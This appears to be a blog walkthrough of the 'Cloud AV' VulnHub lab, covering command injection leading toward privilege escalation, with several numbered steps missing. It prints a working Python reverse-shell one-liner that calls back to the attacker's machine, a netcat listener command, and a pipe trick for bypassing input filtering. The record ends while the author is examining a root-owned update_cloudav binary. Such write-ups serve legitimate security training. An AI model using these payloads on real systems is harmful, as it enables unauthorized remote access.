BoredHackerBlog: Cloud AV | vulnhub | Walkthrough
BoredHackerBlog: Cloud AV
Cloud Anti-Virus Scanner! is a cloud-based antivirus scanning service.
Currently, it's in beta mode. You've been asked to test the setup and find vulnerabilities and escalate privs.
Difficulty: Easy
Tasks involved:
- port scanning
- webapp attacks
- sql injection
- command injection
- brute forcing
- code analysis
3) Privilege Escalation: Used OS command injection.
Enumeration:
Exploitation:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("My IP", My port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Remember, change the red marked My IP to your VM IP and My port to your netcat listener port.
(6) Now I started my netcat listener using: nc -lvnp 4545
And then I have injected the code.
(7) After waiting a while nothing happened. Something wrong. So I have tried to modify the payload by using |
test | (my payload)
Wow! It worked. Remember sometime we need to bypass restriction by using >, <, |
(8) Manually checked every directory and there is nothing interesting. Then jumed to home directory using cd command. I have found a interesting file there. It is update_cloudav
This file has root permit and also a C source file.
(9) I have read the C source file and it says the program takes argument while running.
(10) Manually running the program says the same thing. It needs an argument while running.
No comments: